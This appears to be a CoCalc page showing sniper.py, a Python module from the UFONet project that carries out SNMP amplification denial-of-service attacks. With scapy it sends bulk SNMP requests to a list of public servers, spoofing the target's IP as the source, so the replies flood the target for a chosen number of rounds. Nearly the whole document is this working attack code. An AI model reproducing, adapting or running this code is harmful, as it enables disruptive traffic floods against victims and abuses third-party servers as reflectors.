Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/sniper.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random
13
try:
14
from scapy import *
15
except:
16
print("\nError importing: scapy lib.\n")
17
sys.exit(2)
18
19
snmp_file = "botnet/snmp.txt" # SNMP servers IP list
20
21
oid ="1.3.6.1.2.1.1.1" # OID sysDescr
22
23
# UFONet SNMP Amplification (SNIPER) / [Port: UDP/161]
24
def sniperize(ip, rounds):
25
n=0
26
try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic
27
with open(snmp_file) as f: # extract SNMP servers from file
28
snmp_d = f.read().splitlines()
29
f.close()
30
p_num=0
31
for x in range (0,int(rounds)):
32
try:
33
n=n+1
34
print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
35
for j in snmp_d:
36
p_num += 1
37
packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))
38
try:
39
send(packet, verbose=0) # not using sr1 because non-replies are required
40
print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
41
except:
42
print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
43
except:
44
print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]")
45
except:
46
print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]")
47
48
class SNIPER(object):
49
def attacking(self, target, rounds):
50
print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]")
51
if target.startswith('http://'):
52
target = target.replace('http://','')
53
elif target.startswith('https://'):
54
target = target.replace('https://','')
55
try:
56
ip = socket.gethostbyname(target)
57
except:
58
try:
59
import dns.resolver
60
r = dns.resolver.Resolver()
61
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
62
url = urlparse(target)
63
a = r.query(url.netloc, "A") # A record
64
for rd in a:
65
ip = str(rd)
66
except:
67
ip = target
68
if ip == "127.0.0.1" or ip == "localhost":
69
print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
70
return
71
sniperize(ip, rounds) # attack with SNIPER using threading
72
73